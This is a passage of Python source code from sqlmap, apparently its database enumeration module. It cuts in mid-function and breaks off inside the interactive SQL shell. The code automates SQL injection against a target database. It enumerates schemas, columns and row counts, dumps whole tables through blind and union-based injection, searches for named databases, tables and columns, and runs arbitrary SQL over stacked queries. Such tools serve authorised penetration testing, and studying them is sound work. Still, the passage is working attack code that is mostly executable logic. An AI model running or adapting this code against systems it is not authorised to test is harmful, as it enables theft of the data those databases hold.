condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.count % (tbl) query += condQuery elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % tbl value = inject.getValue(query, inband=False, error=False) parseSqliteTableSchema(value) return kb.data.cachedColumns count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): errMsg = "unable to retrieve the number of columns " errMsg += "for table '%s' " % tbl errMsg += "on database '%s'" % conf.db logger.error(errMsg) continue table = {} columns = {} indexRange = getRange(count) for index in indexRange: if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None elif Backend.isDbms(DBMS.ORACLE): query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl.upper()) query += condQuery field = None elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): query = rootQuery.blind.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (tbl) query += condQuery field = None query = agent.limitQuery(index, query, field) column = inject.getValue(query, inband=False, error=False) if not onlyColNames: if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.isDbms(DBMS.ORACLE): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column) elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query2 % (tbl, column) colType = inject.getValue(query, inband=False, error=False) if Backend.isDbms(DBMS.FIREBIRD): colType = firebirdTypes[colType] if colType in firebirdTypes else colType column = safeSQLIdentificatorNaming(column) columns[column] = colType else: column = safeSQLIdentificatorNaming(column) columns[column] = None if columns: if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[unsafeSQLIdentificatorNaming(conf.db)][unsafeSQLIdentificatorNaming(tbl)] = columns else: table[unsafeSQLIdentificatorNaming(tbl)] = columns kb.data.cachedColumns[unsafeSQLIdentificatorNaming(conf.db)] = table if not kb.data.cachedColumns: errMsg = "unable to retrieve the columns for any " errMsg += "table on database '%s'" % conf.db logger.error(errMsg) return kb.data.cachedColumns def getSchema(self): infoMsg = "enumerating database management system schema" logger.info(infoMsg) pushValue(conf.db) pushValue(conf.tbl) pushValue(conf.col) conf.db = None conf.tbl = None conf.col = None kb.data.cachedTables = {} kb.data.cachedColumns = {} self.getTables() infoMsg = "fetched tables: " infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \ Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \ else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \ kb.data.cachedTables.items()]) logger.info(infoMsg) for db, tables in kb.data.cachedTables.items(): for tbl in tables: conf.db = db conf.tbl = tbl self.getColumns() conf.col = popValue() conf.tbl = popValue() conf.db = popValue() return kb.data.cachedColumns def __tableGetCount(self, db, table): query = "SELECT COUNT(*) FROM %s.%s" % (safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True)) count = inject.getValue(query, expected=EXPECTED.INT, charsetType=2) if count is not None and isinstance(count, basestring) and count.isdigit(): if unsafeSQLIdentificatorNaming(db) not in kb.data.cachedCounts: kb.data.cachedCounts[unsafeSQLIdentificatorNaming(db)] = {} if int(count) in kb.data.cachedCounts[unsafeSQLIdentificatorNaming(db)]: kb.data.cachedCounts[unsafeSQLIdentificatorNaming(db)][int(count)].append(unsafeSQLIdentificatorNaming(table)) else: kb.data.cachedCounts[unsafeSQLIdentificatorNaming(db)][int(count)] = [unsafeSQLIdentificatorNaming(table)] def getCount(self): if not conf.tbl: warnMsg = "missing table parameter, sqlmap will retrieve " warnMsg += "the number of entries for all database " warnMsg += "management system databases' tables" logger.warn(warnMsg) elif "." in conf.tbl: if not conf.db: conf.db, conf.tbl = conf.tbl.split(".") if conf.tbl is not None and conf.db is None: warnMsg = "missing database parameter, sqlmap is going to " warnMsg += "use the current database to retrieve the " warnMsg += "number of entries for table '%s'" % conf.tbl logger.warn(warnMsg) conf.db = self.getCurrentDb() self.forceDbmsEnum() if conf.tbl: for table in conf.tbl.split(","): self.__tableGetCount(conf.db, table) else: self.getTables() for db, tables in kb.data.cachedTables.items(): for table in tables: self.__tableGetCount(db, table) return kb.data.cachedCounts def __pivotDumpTable(self, table, colList, count=None, blind=True): lengths = {} entries = {} dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind validColumnList = False validPivotValue = False if not count: query = dumpNode.count % table if blind: count = inject.getValue(query, inband=False, error=False) else: count = inject.getValue(query, blind=False) if count == "0": infoMsg = "table '%s' appears to be empty" % table logger.info(infoMsg) for column in colList: lengths[column] = len(column) entries[column] = [] return entries, lengths elif not count: return None for column in colList: lengths[column] = 0 entries[column] = [] colList = sorted(colList, key=lambda x: len(x) if x else MAX_INT) for column in colList: infoMsg = "fetching number of distinct " infoMsg += "values for column '%s'" % column logger.info(infoMsg) query = dumpNode.count2 % (column, table) if blind: value = inject.getValue(query, inband=False, error=False) else: value = inject.getValue(query, blind=False) if isNumPosStrValue(value): validColumnList = True if value == count: infoMsg = "using column '%s' as a pivot " % column infoMsg += "for retrieving row data" logger.info(infoMsg) validPivotValue = True colList.remove(column) colList.insert(0, column) break if not validColumnList: errMsg = "all column name(s) provided are non-existent" raise sqlmapNoneDataException, errMsg if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " all rows can't be retrieved." logger.warn(warnMsg) pivotValue = " " breakRetrieval = False try: for i in xrange(int(count)): if breakRetrieval: break for column in colList: if column == colList[0]: # Correction for pivotValues with unrecognized chars if pivotValue and '?' in pivotValue and pivotValue[0] != '?': pivotValue = pivotValue.split('?')[0] pivotValue = pivotValue[:-1] + chr(ord(pivotValue[-1]) + 1) query = dumpNode.query % (column, table, column, pivotValue) else: query = dumpNode.query2 % (column, table, colList[0], pivotValue) if blind: value = inject.getValue(query, inband=False, error=False) else: value = inject.getValue(query, blind=False) if column == colList[0]: if not value: breakRetrieval = True break else: pivotValue = safechardecode(value) lengths[column] = max(lengths[column], len(value) if value else 0) entries[column].append(value) except KeyboardInterrupt: warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) except sqlmapConnectionException, e: errMsg = "connection exception detected. sqlmap " errMsg += "will display partial output" errMsg += "'%s'" % e logger.critical(errMsg) return entries, lengths def dumpTable(self): self.forceDbmsEnum() if conf.db is None or conf.db == "CD": if conf.db is None: warnMsg = "missing database parameter, sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if Backend.isDbms(DBMS.ORACLE): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise sqlmapMissingMandatoryOptionException, errMsg conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: if Backend.isDbms(DBMS.ORACLE): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables" errMsg += "on database '%s'" % conf.db raise sqlmapNoneDataException, errMsg for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) for tbl in tblList: conf.tbl = tbl kb.data.cachedColumns = {} kb.data.dumpedTable = {} self.getColumns(onlyColNames=True) try: if not unsafeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \ or unsafeSQLIdentificatorNaming(tbl) not in \ kb.data.cachedColumns[unsafeSQLIdentificatorNaming(conf.db)] \ or not kb.data.cachedColumns[unsafeSQLIdentificatorNaming(conf.db)][unsafeSQLIdentificatorNaming(tbl)]: warnMsg = "unable to enumerate the columns for table " warnMsg += "'%s' on database" % unsafeSQLIdentificatorNaming(tbl) warnMsg += " '%s', skipping" % unsafeSQLIdentificatorNaming(conf.db) logger.warn(warnMsg) continue colList = kb.data.cachedColumns[unsafeSQLIdentificatorNaming(conf.db)][unsafeSQLIdentificatorNaming(tbl)].keys() colString = ", ".join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching" if conf.col: infoMsg += " column(s) '%s'" % colString infoMsg += " entries for table '%s'" % unsafeSQLIdentificatorNaming(tbl) infoMsg += " on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) entriesCount = 0 if any([isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION), isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR), conf.direct]): entries = [] query = None if all([Backend.isDbms(DBMS.MYSQL), isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR), conf.groupConcat]): randStr, randStr2 = randomStr(), randomStr() filterFunction = "REPLACE(REPLACE(IFNULL(%s, ' '),'%s','%s'),'%s','%s')"\ % ('%s', CONCAT_VALUE_DELIMITER, randStr, CONCAT_ROW_DELIMITER, randStr2) concats = ",".join(map(lambda x: "CONCAT(%s, '|')" % (filterFunction % x), colList[:-1])) concats += ",%s" % (filterFunction % colList[-1]) query = "SELECT GROUP_CONCAT(%s) FROM %s.%s" % (concats, conf.db, tbl) value = inject.getValue(query, blind=False) if isinstance(value, basestring): for line in value.split(CONCAT_ROW_DELIMITER): row = line.split(CONCAT_VALUE_DELIMITER) row = map(lambda x: x.replace(randStr, CONCAT_VALUE_DELIMITER).replace(randStr2, CONCAT_ROW_DELIMITER), row) entries.append(row) if Backend.isDbms(DBMS.ORACLE): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL) and not any([conf.limitStart, conf.limitStop]): table = "%s.%s" % (conf.db, tbl) retVal = self.__pivotDumpTable(table, colList, blind=False) if retVal: entries, _ = retVal entries = zip(*[entries[colName] for colName in colList]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) else: query = rootQuery.inband.query % (colString, conf.db, tbl) if not entries and query: entries = inject.getValue(query, blind=False, dump=True) if isNoneValue(entries): entries = [] elif isinstance(entries, basestring): entries = [ entries ] elif not isinstance(entries, (list, tuple)): entries = [] entriesCount = len(entries) index = 0 for column in colList: colLen = len(column) if not kb.data.dumpedTable.has_key(column): kb.data.dumpedTable[column] = { "length": colLen, "values": [] } for entry in entries: if entry is None or len(entry) == 0: continue if isinstance(entry, basestring): colEntry = entry else: colEntry = entry[index] if index < len(entry) else u'' colEntryLen = len(getUnicode(colEntry)) maxLen = max(colLen, colEntryLen) if maxLen > kb.data.dumpedTable[column]["length"]: kb.data.dumpedTable[column]["length"] = maxLen kb.data.dumpedTable[column]["values"].append(colEntry) index += 1 if not kb.data.dumpedTable and not conf.direct: infoMsg = "fetching number of " if conf.col: infoMsg += "columns '%s' " % colString infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) if Backend.isDbms(DBMS.ORACLE): query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) elif Backend.isDbms(DBMS.MAXDB): query = rootQuery.blind.count % tbl else: query = rootQuery.blind.count % (conf.db, tbl) count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) lengths = {} entries = {} if count == "0": warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "on database '%s' " % unsafeSQLIdentificatorNaming(conf.db) warnMsg += "appears to be empty" logger.warn(warnMsg) for column in colList: lengths[column] = len(column) entries[column] = [] elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " if conf.col: warnMsg += "columns '%s' " % colString warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.warn(warnMsg) continue elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL): if Backend.isDbms(DBMS.ACCESS): table = tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) retVal = self.__pivotDumpTable(table, colList, count, blind=True) if retVal: entries, lengths = retVal else: if Backend.isDbms(DBMS.ORACLE): plusOne = True else: plusOne = False indexRange = getRange(count, dump=True, plusOne=plusOne) for index in indexRange: for column in colList: if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = [] if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): query = rootQuery.blind.query % (column, conf.db, conf.tbl, index) elif Backend.isDbms(DBMS.ORACLE): query = rootQuery.blind.query % (column, column, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % (column, tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, column, tbl) value = inject.getValue(query, inband=False, error=False, dump=True) lengths[column] = max(lengths[column], len(value) if value else 0) entries[column].append(value) for column, columnEntries in entries.items(): length = max(lengths[column], len(column)) kb.data.dumpedTable[column] = { "length": length, "values": columnEntries } entriesCount = len(columnEntries) if len(kb.data.dumpedTable) > 0: kb.data.dumpedTable["__infos__"] = { "count": entriesCount, "table": unsafeSQLIdentificatorNaming(tbl), "db": unsafeSQLIdentificatorNaming(conf.db) } attackDumpedTable() conf.dumper.dbTableValues(kb.data.dumpedTable) else: warnMsg = "unable to retrieve the entries of " if conf.col: warnMsg += "columns '%s' " % colString warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.warn(warnMsg) except KeyboardInterrupt: warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) except sqlmapConnectionException, e: errMsg = "connection exception detected in dumping phase: " errMsg += "'%s'" % e logger.critical(errMsg) def dumpAll(self): if conf.db is not None and conf.tbl is None: self.dumpTable() return if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" raise sqlmapUnsupportedFeatureException, errMsg infoMsg = "sqlmap will dump entries of all databases' tables now" logger.info(infoMsg) conf.tbl = None conf.col = None self.getTables() if kb.data.cachedTables: if isinstance(kb.data.cachedTables, list): kb.data.cachedTables = { None : kb.data.cachedTables } for db, tables in kb.data.cachedTables.items(): conf.db = db for table in tables: try: conf.tbl = table kb.data.cachedColumns = {} kb.data.dumpedTable = {} self.dumpTable() except sqlmapNoneDataException: infoMsg = "skipping table '%s'" % table logger.info(infoMsg) def dumpFoundColumn(self, dbs, foundCols, colConsider): if not dbs: warnMsg = "no databases have tables containing any of the " warnMsg += "provided columns" logger.warn(warnMsg) return conf.dumper.dbColumns(foundCols, colConsider, dbs) message = "do you want to dump entries? [Y/n] " output = readInput(message, default="Y") if output and output[0] not in ("y", "Y"): return dumpFromDbs = [] message = "which database(s)?\n[a]ll (default)\n" for db, tblData in dbs.items(): if tblData: message += "[%s]\n" % db message += "[q]uit" test = readInput(message, default="a") if not test or test in ("a", "A"): dumpFromDbs = dbs.keys() elif test in ("q", "Q"): return else: dumpFromDbs = test.replace(" ", "").split(",") for db, tblData in dbs.items(): if db not in dumpFromDbs or not tblData: continue conf.db = db dumpFromTbls = [] message = "which table(s) of database '%s'?\n" % db message += "[a]ll (default)\n" for tbl in tblData: message += "[%s]\n" % tbl message += "[s]kip\n" message += "[q]uit" test = readInput(message, default="a") if not test or test in ("a", "A"): dumpFromTbls = tblData elif test in ("s", "S"): continue elif test in ("q", "Q"): return else: dumpFromTbls = test.replace(" ", "").split(",") for table, columns in tblData.items(): if table not in dumpFromTbls: continue conf.tbl = table conf.col = ",".join(column for column in columns) kb.data.cachedColumns = {} kb.data.dumpedTable = {} data = self.dumpTable() if data: conf.dumper.dbTableValues(data) def searchDb(self): foundDbs = [] rootQuery = queries[Backend.getIdentifiedDbms()].search_db dbList = conf.db.split(",") if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: dbCond = rootQuery.inband.condition2 else: dbCond = rootQuery.inband.condition dbConsider, dbCondParam = self.likeOrExact("database") for db in dbList: db = safeSQLIdentificatorNaming(db) infoMsg = "searching database" if dbConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if conf.excludeSysDbs: exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) infoMsg = "skipping system database%s: %s" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) logger.info(infoMsg) else: exclDbsQuery = "" dbQuery = "%s%s" % (dbCond, dbCondParam) dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query query += dbQuery query += exclDbsQuery values = inject.getValue(query, blind=False) if not isNoneValue(values): if isinstance(values, basestring): values = [ values ] for value in values: value = safeSQLIdentificatorNaming(value) foundDbs.append(value) else: infoMsg = "fetching number of databases" if dbConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count query += dbQuery query += exclDbsQuery count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): warnMsg = "no database" if dbConsider == "1": warnMsg += "s like" warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getRange(count) for index in indexRange: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 else: query = rootQuery.blind.query query += dbQuery query += exclDbsQuery query = agent.limitQuery(index, query, dbCond) value = inject.getValue(query, inband=False, error=False) value = safeSQLIdentificatorNaming(value) foundDbs.append(value) return foundDbs def searchTable(self): bruteForce = False if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True elif Backend.isDbms(DBMS.ACCESS): errMsg = "cannot retrieve table names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) bruteForce = True if bruteForce: message = "do you want to use common table existence check? [Y/n/q]" test = readInput(message, default="Y") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise sqlmapUserQuitException else: regex = "|".join(conf.tbl.split(",")) return tableExists(paths.COMMON_TABLES, regex) rootQuery = queries[Backend.getIdentifiedDbms()].search_table foundTbls = {} tblList = conf.tbl.split(",") tblCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblConsider, tblCondParam = self.likeOrExact("table") for tbl in tblList: tbl = safeSQLIdentificatorNaming(tbl, True) if Backend.isDbms(DBMS.ORACLE): tbl = tbl.upper() infoMsg = "searching table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.info(infoMsg) if conf.excludeSysDbs: exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) infoMsg = "skipping system database%s: %s" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) logger.info(infoMsg) else: exclDbsQuery = "" tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % tbl if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: query = rootQuery.inband.query query += tblQuery query += exclDbsQuery values = inject.getValue(query, blind=False) if not isNoneValue(values): if isinstance(values, basestring): values = [ values ] for foundDb, foundTbl in values: foundDb = safeSQLIdentificatorNaming(foundDb) foundTbl = safeSQLIdentificatorNaming(foundTbl, True) if foundDb is None or foundTbl is None: continue if foundDb in foundTbls: foundTbls[foundDb].append(foundTbl) else: foundTbls[foundDb] = [ foundTbl ] else: infoMsg = "fetching number of databases with table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.info(infoMsg) query = rootQuery.blind.count query += tblQuery query += exclDbsQuery count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): warnMsg = "no databases have table" if tblConsider == "1": warnMsg += "s like" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.warn(warnMsg) continue indexRange = getRange(count) for index in indexRange: query = rootQuery.blind.query query += tblQuery query += exclDbsQuery query = agent.limitQuery(index, query) foundDb = inject.getValue(query, inband=False, error=False) foundDb = safeSQLIdentificatorNaming(foundDb) if foundDb not in foundTbls: foundTbls[foundDb] = [] if tblConsider == "2": foundTbls[foundDb].append(tbl) if tblConsider == "2": continue for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) infoMsg = "fetching number of table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), db) logger.info(infoMsg) query = rootQuery.blind.count2 query = query % unsafeSQLIdentificatorNaming(db) query += " AND %s" % tblQuery count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): warnMsg = "no table" if tblConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % db logger.warn(warnMsg) continue indexRange = getRange(count) for index in indexRange: query = rootQuery.blind.query2 query = query % unsafeSQLIdentificatorNaming(db) query += " AND %s" % tblQuery query = agent.limitQuery(index, query) foundTbl = inject.getValue(query, inband=False, error=False) kb.hintValue = foundTbl foundTbl = safeSQLIdentificatorNaming(foundTbl, True) foundTbls[db].append(foundTbl) return foundTbls def searchColumn(self): bruteForce = False if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True elif Backend.isDbms(DBMS.ACCESS): errMsg = "cannot retrieve column names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) bruteForce = True if bruteForce: message = "do you want to use common columns existence check? [Y/n/q]" test = readInput(message, default="Y") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise sqlmapUserQuitException else: regex = "|".join(conf.col.split(",")) conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex)) message = "do you want to dump entries? [Y/n] " output = readInput(message, default="Y") if output and output[0] not in ("n", "N"): self.dumpAll() return rootQuery = queries[Backend.getIdentifiedDbms()].search_column foundCols = {} dbs = {} colList = conf.col.split(",") colCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 colConsider, colCondParam = self.likeOrExact("column") for column in colList: column = safeSQLIdentificatorNaming(column) infoMsg = "searching column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) logger.info(infoMsg) foundCols[column] = {} if conf.excludeSysDbs: exclDbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList) infoMsg = "skipping system database%s: %s" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) logger.info(infoMsg) else: exclDbsQuery = "" colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: query = rootQuery.inband.query query += colQuery query += exclDbsQuery values = inject.getValue(query, blind=False) if not isNoneValue(values): if isinstance(values, basestring): values = [ values ] for foundDb, foundTbl in values: foundDb = safeSQLIdentificatorNaming(foundDb) foundTbl = safeSQLIdentificatorNaming(foundTbl, True) if foundDb is None or foundTbl is None: continue if foundDb not in dbs: dbs[foundDb] = {} if foundTbl not in dbs[foundDb]: dbs[foundDb][foundTbl] = {} if colConsider == "1": conf.db = foundDb conf.tbl = foundTbl conf.col = column self.getColumns(onlyColNames=True) dbs[foundDb][foundTbl].update(kb.data.cachedColumns[foundDb][foundTbl]) kb.data.cachedColumns = {} else: dbs[foundDb][foundTbl][column] = None if foundDb in foundCols[column]: foundCols[column][foundDb].append(foundTbl) else: foundCols[column][foundDb] = [ foundTbl ] else: infoMsg = "fetching number of databases with tables containing column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % column logger.info(infoMsg) query = rootQuery.blind.count query += colQuery query += exclDbsQuery count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): warnMsg = "no databases have tables containing column" if colConsider == "1": warnMsg += "s like" warnMsg += " '%s'" % column logger.warn(warnMsg) continue indexRange = getRange(count) for index in indexRange: query = rootQuery.blind.query query += colQuery query += exclDbsQuery query = agent.limitQuery(index, query) db = inject.getValue(query, inband=False, error=False) db = safeSQLIdentificatorNaming(db) if db not in dbs: dbs[db] = {} if db not in foundCols[column]: foundCols[column][db] = [] for column, dbData in foundCols.items(): colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % column for db in dbData: db = safeSQLIdentificatorNaming(db) infoMsg = "fetching number of tables containing column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), db) logger.info(infoMsg) query = rootQuery.blind.count2 query = query % db query += " AND %s" % colQuery count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % column warnMsg += "in database '%s'" % db logger.warn(warnMsg) continue indexRange = getRange(count) for index in indexRange: query = rootQuery.blind.query2 query = query % db query += " AND %s" % colQuery query = agent.limitQuery(index, query) tbl = inject.getValue(query, inband=False, error=False) kb.hintValue = tbl tbl = safeSQLIdentificatorNaming(tbl, True) if tbl not in dbs[db]: dbs[db][tbl] = {} if colConsider == "1": conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True) dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} else: dbs[db][tbl][column] = None foundCols[column][db].append(tbl) self.dumpFoundColumn(dbs, foundCols, colConsider) def search(self): if conf.db: conf.dumper.lister("found databases", self.searchDb()) if conf.tbl: conf.dumper.dbTables(self.searchTable()) if conf.col: self.searchColumn() if not conf.db and not conf.tbl and not conf.col: errMsg = "missing parameter, provide -D, -T or -C together " errMsg += "with --search" raise sqlmapMissingMandatoryOptionException, errMsg def sqlQuery(self, query): output = None sqlType = None getOutput = None for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: if query.lower().startswith(sqlStatement): sqlType = sqlTitle break if not self.alwaysRetrieveSqlOutput: message = "do you want to retrieve the SQL statement output? " if not sqlType or 'SELECT' in sqlType: message += "[Y/n/a] " getOutput = readInput(message, default="Y") else: message += "[y/N/a] " getOutput = readInput(message, default="N") if getOutput in ("a", "A"): self.alwaysRetrieveSqlOutput = True if not getOutput or getOutput in ("y", "Y") or self.alwaysRetrieveSqlOutput: infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query) logger.info(infoMsg) output = inject.getValue(query, fromUser=True) return output else: if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: warnMsg = "execution of custom SQL queries is only " warnMsg += "available when stacked queries are supported" logger.warn(warnMsg) return None else: if sqlType: infoMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query) else: infoMsg = "executing unknown SQL type query: '%s'" % query logger.info(infoMsg) inject.goStacked(query) infoMsg = "done" logger.info(infoMsg) output = False return output def sqlShell(self): infoMsg = "calling %s shell. To quit type " % Backend.getIdentifiedDbms() infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) autoCompletion(sqlShell=True) while True: query = None try: query = raw_input("sql-shell> ") query = utf8decode(query) 